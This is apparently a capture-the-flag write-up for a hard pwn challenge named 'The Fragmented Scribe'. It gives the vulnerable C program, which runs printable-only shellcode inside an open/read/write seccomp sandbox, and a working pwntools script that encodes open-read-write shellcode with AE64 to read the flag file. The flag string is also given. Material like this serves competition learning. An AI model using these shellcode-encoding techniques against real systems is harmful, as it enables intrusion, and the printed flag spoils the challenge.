#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <ctype.h>
#include <seccomp.h>
#include <fcntl.h>
#define MAX_SHELLCODE_SIZE 1024
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void setup_seccomp() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) exit(1);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_load(ctx);
}
int validate_shellcode(unsigned char *code, size_t size) {
for (size_t i = 0; i < size; i++) {
if (code[i] < 32 || code[i] > 126) {
return 0;
}
}
return 1;
}
int main() {
init();
unsigned char *shellcode = mmap(NULL, MAX_SHELLCODE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (shellcode == MAP_FAILED) {
perror("mmap");
exit(1);
}
printf("--- THE FRAGMENTED SCRIBE ---\n");
printf("Provide your shellcode:\n");
printf("> ");
ssize_t n = read(0, shellcode, MAX_SHELLCODE_SIZE);
if (n <= 0) exit(1);
if (!validate_shellcode(shellcode, n)) {
printf("[ERROR] Your incantation contains forbidden shadows. The scribe refuses to write such impurity.\n");
exit(1);
}
printf("[SYSTEM] Sandboxing initiated... Good luck, scribe.\n");
setup_seccomp();
// Stub: pass shellcode address in R13 and clean most registers.
__asm__ volatile (
"mov %0, %%r13\n"
"xor %%rax, %%rax\n"
"xor %%rbx, %%rbx\n"
"xor %%rcx, %%rcx\n"
"xor %%rdx, %%rdx\n"
"xor %%rsi, %%rsi\n"
"xor %%rdi, %%rdi\n"
"jmp *%%r13\n"
:
: "r" (shellcode)
: "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r13"
);
return 0;
}
| Field | Value |
|---|---|
| Category | PWN |
| Difficulty | Hard |
| Author | R3t0x |
| Technique | Printable Shellcode + Seccomp ORW |
This is the same challenge as the MOJO-JOJO version. It uses printable-only shellcode validation and a seccomp sandbox that only allows read, write, open, openat, exit, and exit_group.
flag.txtSee the full MOJO-JOJO fragmented_scribe writeup for detailed exploit code.
Securinets{fr4gm3nt3d_but_n0t_br0k3n}
import sys
sys.path.insert(0, '/tmp/ae64')
from pwn import *
from ae64 import AE64
import time
context.arch = 'amd64'
def get_process():
if args.REMOTE:
return remote('48.220.35.76', 1338)
else:
return process('./challenge')
# Generate base shellcode for reading the flag using Open-Read-Write
# (Avoiding sendfile as it's not in the seccomp filter)
base_sc = asm(shellcraft.open('flag.txt') + shellcraft.read('rax', 'rsp', 100) + shellcraft.write(1, 'rsp', 100))
info(f"Base shellcode length: {len(base_sc)}")
# Use AE64 to encode the shellcode
# We specifically use R13 as the base register as set in the challenge stub.
obj = AE64()
encoded_sc = obj.encode(base_sc, 'r13')
success(f"Encoded shellcode length: {len(encoded_sc)}")
success(f"Is all printable: {all(32 <= b <= 126 for b in encoded_sc)}")
# Run the exploit
io = get_process()
io.recvuntil(b"> ")
io.send(encoded_sc)
try:
# Give it a moment to decode and run
time.sleep(0.5)
output = io.recvall(timeout=3).decode(errors='ignore')
print("\n" + "="*40)
print(output)
print("="*40 + "\n")
if "Securinets" in output:
flag_line = [line for line in output.split('\n') if 'Securinets' in line][0]
success(f"FLAG: {flag_line}")
else:
error("No flag found. Check if the exploit ran correctly.")
except Exception as e:
error(f"Error during flag retrieval: {e}")
io.close()